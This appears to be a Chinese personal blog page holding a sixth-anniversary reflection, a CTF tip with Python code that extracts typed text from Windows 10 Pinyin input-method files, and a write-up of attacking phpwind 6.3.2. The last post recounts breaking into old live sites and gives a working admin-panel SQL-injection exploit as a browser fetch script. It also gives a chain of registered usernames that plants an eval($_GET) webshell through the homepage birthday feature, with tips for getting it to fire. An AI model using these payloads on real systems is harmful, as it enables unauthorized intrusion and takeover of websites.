博客六周年辣

前言 & about me

从当初无忧无虑的中二少年,到现在逐步快要跨入社会的二逼青年。没想到这个站点竟然陪了我六年之久。

感觉对时间的给概念变得愈来愈模糊了。从以前的 “时间啊,请过的快一些流逝吧”,到现在,一转眼间,去年今日之事仿佛就在昨日。

可以很明显感觉到时间流逝的速度有两个档口,一个是08年之后,这个是对于社会的变化,因为全中国直接步入信息社会,我们每天接受的信息密度呈几何倍增长,所以网络上都觉得从那之后,时间变快了。

还有一个档口,是对于我自己的。可以说是从18年高考的时候吧。原因我就懒得打了,不是什么不好开口的东西只是单纯因为懒。

愈发愈觉得自己菜,十分的fw。但是又觉得这样菜也不是什么坏事,因为没有什么好比较的。反正又不是没有上进心去学习,做好自己就行。尽自己最大努力吧。

天塌下来了有高个子顶着

不过我还是得努力学习,立刻目标是争取能自己养活自己

第二目标是希望在上面的基础上找的是自己喜欢的工作。

about 博客

和以前的情况不通,以前是怎么挤都挤不出内容只好谈天说地聊各种奇怪的东西。

现在肚子里确实有一些东西。不过都是不太好发出来的东西。

只能随手发一些不那么敏感的东西。

当然更大原因是因为懒。毕竟要发文章还是得需要准备的。

总之就这么多了。感谢大家的支持。虽然不知道还有没有人看这个无聊的站点就是了。

Tags: 周年

win10自带输入法取证的tips

前言

因为前两天打ctf时候遇到了一个题,挺有意思的。win10默认输入法会记录下词频和一些语句信息。
详细可以参考文章: 输入法取证:一种Windows8/10中文用户输入痕迹信息
文章地址很容易失效,我就提供标题了。
总之就是在
C:\Users\username\AppData\Roaming\Microsoft\InputMethod\Chs 下有两个ChsPinyinUDL.datChsPinyinIH.dat文件里面有记录词频信息。

依据上述基于数据流的逆向测试策略,对两个DAT用户词库文件进行结构分析,发现ChsPinyinlH和ChsPinyinUDL两个DAT文件存储的输入记录信息数据起始位置分别是在文件偏移地址0x1400处和0x2400处,每条用户输入记录信息的存储长度都是固定的,占用60个字节。

结构如下
chsPinyinIH结构.jpg
ChsPinyinUDL结构.jpg

最后附上代码

f = open("ChsPinyinUDL.dat","rb")
data = f.read()
data = data[9216:]
f.close()
i = 60
n=1
while True:
    chunk = n*i
    chunk_len = data[chunk+12:chunk+12+48]
    hex_chunk_len = ['%02x' % b for b in chunk_len]
    print(chunk_len.decode("utf-16"))
    n+=1
    if chunk>=len(data):
        break
f = open("ChsPinyinIH.dat","rb")
data = f.read()
data = data[5120:]
f.close()
i = 60
n=1
while True:
    chunk = n*i
    chunk_len = data[chunk:chunk+4]
    hex_chunk_len = ['%02x' % b for b in chunk_len]
    print(hex_chunk_len[::-1])
    unicode_chunk = data[chunk+12:chunk+12+data[chunk]*2]
    hex_unicode = ['%02x' % b for b in unicode_chunk]
    print(hex_unicode[::-1])
    print(unicode_chunk.decode("utf-16"))
    n+=1
    if chunk>=len(data):
        break

效果图
QQ图片20210405001434.jpg

Tags: ctf, 取证

phpwind 6.3.2 前/后台getshell

起因 && TIPS

如果后台开启了首页生日显示,那么就可以前台getshell

因为日到了某些远古站用的是6.3.2,幸苦拿下了后台,但是没办法getshell。本来想直接备份走人的,但是似乎当前的权限不够备份数据

然后旁站和子域名and其他信息搜集了一堆打不下来。

虽说后台注入很多,比如修复表啊

注入1.png

然而这里是的语句没办法注入,但是在 扩展功能 -> 网上支付 那里,可以有一个select和insert类型的注入。

以下是某x子大佬写的注入的exp

payload=prompt("payload?","' and extractvalue(1,concat(0x7e,(      ),0x7e)) #")
payload=encodeURIComponent(payload)
fetch("https://********/后台地址.php?adminjob=userpay&verify=******&", {
  "headers": {
    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
    "cache-control": "no-cache",
    "content-type": "application/x-www-form-urlencoded",
    "pragma": "no-cache",
    "sec-fetch-dest": "iframe",
    "sec-fetch-mode": "navigate",
    "sec-fetch-site": "same-origin",
    "sec-fetch-user": "?1",
    "upgrade-insecure-requests": "1"
  },
  "referrer": "https://******/后台地址.php?adminjob=userpay",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "action=currrate&userpay%5Bol_onlinepay%5D=0&userpay%5Bol_whycolse%5D=1&userpay%5Bol_tenpay%5D=adawcft&userpay%5Bol_a" + payload + "%5D=&userpay%5Bol_payto%5D=&userpay%5Bol_paypal%5D=&userpay%5Bol_paypalcode%5D=luqH6DDbionEDFHTEnwtMpqiyZMlLspNWQimPEgH&userpay%5Bol_99bill%5D=&userpay%5Bol_99billcode%5D=",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(d=>d.text()).then(c=>{document.querySelector('body').innerHTML="";document.write(c);});

用法是直接在后台f12然后在括号中输入sql语句就行

扫了一波sql权限很低然后密码字段bcrtpy加密了解不开

原本想着insert一个管理者权限的管理员,或者找一个update类型的诸如点,把管理员的密码改成我们当前打下来的这个用户的密码,然后看了下代码,tmd管理者权限是硬编码到php里的。就只好想办法用其他方式了。

分析

首先定位漏洞点
birthday.jpg
发现一个写道php的操作,然后跟进
birthday2.jpg
发现写文件操作并没有过滤!
那我们二话不说注册一个账户,用户名为';phpinfo();//
phpinfo.jpg
绕过成功。

然后我正想着,直接用eval走上去的时候,一看
long.jpg
没办法,最后只能注册多个用户写出payload了。
4.png
payload如下

';$a="_GET";'
';$b=$$a;'
';$c=$b[a];'
';$x=$c;'
';eval($x);'

总结

所以如果6.3.2默认开启首页显示生日用户的话,就可以用这个方法,注册5个用户,用户名为上图,然后生日设置成明天,然后12点一过就可以上去梭哈了。

然而这也有局限性,你得保证当天用户生日数量不大于195,因为代码中默认显示200个,所以超过200会挤掉。而我们新注册的id很靠后,所以绝对是会被挤掉的。所以你只能祈祷了。

如果你是管理员就好办了。自己添加几个用户然后开启这个功能,瞬间就能打了。当然,你也会遇到大于200问题,不过这时候好办,你可以用上面的诸如点,用如下语句
SELECT email FROM pw_members WHERE MONTH(bday)='月份' AND DAYOFMONTH(bday)='日期' 来查找当天过生日的id比较靠前的用户,然后直接用后台系统管理功能,修改的用户名为我们payload,然后再开启首页生日显示。就ok了

Tags: none
文章总数:200篇 分类总数:4个